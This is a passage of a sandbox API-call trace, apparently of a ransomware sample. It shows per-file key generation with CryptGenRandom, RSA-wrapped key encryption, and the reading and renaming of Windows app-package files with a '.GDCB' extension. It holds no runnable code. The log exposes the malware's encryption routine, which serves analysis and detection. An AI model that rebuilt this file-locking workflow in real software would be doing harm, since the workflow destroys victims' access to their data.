data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 0 [0304.557] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0304.560] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.562] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.562] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0304.562] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0304.562] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0304.565] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.567] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.567] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0304.567] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.568] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4e48) returned 1 [0304.570] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aebb0) returned 1 [0304.570] CryptGetKeyParam (in: hKey=0x67aebb0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0304.570] CryptEncrypt (in: hKey=0x67aebb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd60000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xdd60000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0304.570] GetLastError () returned 0x0 [0304.570] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.570] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0304.572] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aebf0) returned 1 [0304.572] CryptGetKeyParam (in: hKey=0x67aebf0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0304.572] CryptEncrypt (in: hKey=0x67aebf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd70000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xdd70000*, pdwDataLen=0x285e050*=0x100) returned 1 [0304.573] GetLastError () returned 0x0 [0304.573] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.573] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0304.573] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdd80000 [0304.577] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdd90000 [0304.579] ReadFile (in: hFile=0x3c8, lpBuffer=0xdd90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e090, lpOverlapped=0x0 | out: lpBuffer=0xdd90000*, lpNumberOfBytesRead=0x285e090*=0xc700, lpOverlapped=0x0) returned 1 [0304.587] VirtualAlloc (lpAddress=0x0, dwSize=0xc700, flAllocationType=0x3000, flProtect=0x4) returned 0xdea0000 [0304.594] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0304.619] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0304.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.626] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.626] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0304.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.626] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4980) returned 1 [0304.629] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.632] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.632] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0304.632] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0304.632] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0304.634] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af030) returned 1 [0304.635] CryptGetKeyParam (in: hKey=0x67af030, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.635] CryptEncrypt (in: hKey=0x67af030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd60000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdd60000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0304.635] GetLastError () returned 0x0 [0304.635] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.635] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4980) returned 1 [0304.637] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af070) returned 1 [0304.637] CryptGetKeyParam (in: hKey=0x67af070, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.637] CryptEncrypt (in: hKey=0x67af070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd70000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdd70000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0304.637] GetLastError () returned 0x0 [0304.637] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0304.637] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0304.641] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0304.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.647] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.647] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0304.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.647] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0304.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.651] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.652] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0304.652] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.652] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0304.655] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae930) returned 1 [0304.655] CryptGetKeyParam (in: hKey=0x67ae930, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.655] CryptEncrypt (in: hKey=0x67ae930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd80000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdd80000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0304.655] GetLastError () returned 0x0 [0304.655] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.655] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0304.657] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67aee30) returned 1 [0304.657] CryptGetKeyParam (in: hKey=0x67aee30, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.657] CryptEncrypt (in: hKey=0x67aee30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd90000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdd90000*, pdwDataLen=0x285e560*=0x100) returned 1 [0304.657] GetLastError () returned 0x0 [0304.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.657] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0304.661] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0304.664] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.667] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.668] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0304.668] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.668] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0304.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.673] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0304.673] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.674] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0304.676] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67af0b0) returned 1 [0304.676] CryptGetKeyParam (in: hKey=0x67af0b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.676] CryptEncrypt (in: hKey=0x67af0b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdda0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdda0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0304.676] GetLastError () returned 0x0 [0304.676] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.676] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0304.678] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aec30) returned 1 [0304.678] CryptGetKeyParam (in: hKey=0x67aec30, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0304.678] CryptEncrypt (in: hKey=0x67aec30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xddb0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xddb0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0304.678] GetLastError () returned 0x0 [0304.678] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.679] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0304.711] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0304.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.718] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0304.718] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.718] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0304.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.724] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.725] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0304.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.725] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0304.728] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67aea70) returned 1 [0304.728] CryptGetKeyParam (in: hKey=0x67aea70, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.728] CryptEncrypt (in: hKey=0x67aea70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xddc0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xddc0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0304.728] GetLastError () returned 0x0 [0304.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.728] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0304.731] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67af230) returned 1 [0304.731] CryptGetKeyParam (in: hKey=0x67af230, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.731] CryptEncrypt (in: hKey=0x67af230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xddd0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xddd0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0304.731] GetLastError () returned 0x0 [0304.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.731] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0304.732] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdde0000 [0304.735] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xddf0000 [0304.738] ReadFile (in: hFile=0x4f8, lpBuffer=0xddf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0xddf0000*, lpNumberOfBytesRead=0x285e5a0*=0x4000, lpOverlapped=0x0) returned 1 [0304.747] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0xdf00000 [0304.754] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Microsoft.Windows.ParentalControls_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\microsoft.windows.parentalcontrols_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0304.788] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0304.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.796] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.796] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0304.796] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.796] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0304.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.802] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0304.802] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.802] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0304.805] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67af170) returned 1 [0304.805] CryptGetKeyParam (in: hKey=0x67af170, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.805] CryptEncrypt (in: hKey=0x67af170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xddc0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xddc0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0304.805] GetLastError () returned 0x0 [0304.805] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.805] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0304.807] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67af4b0) returned 1 [0304.807] CryptGetKeyParam (in: hKey=0x67af4b0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.807] CryptEncrypt (in: hKey=0x67af4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xddd0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xddd0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0304.807] GetLastError () returned 0x0 [0304.807] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.807] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Microsoft.Windows.ShellExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\microsoft.windows.shellexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0304.811] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0304.815] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.818] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.818] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0304.818] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.818] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0304.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.823] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: 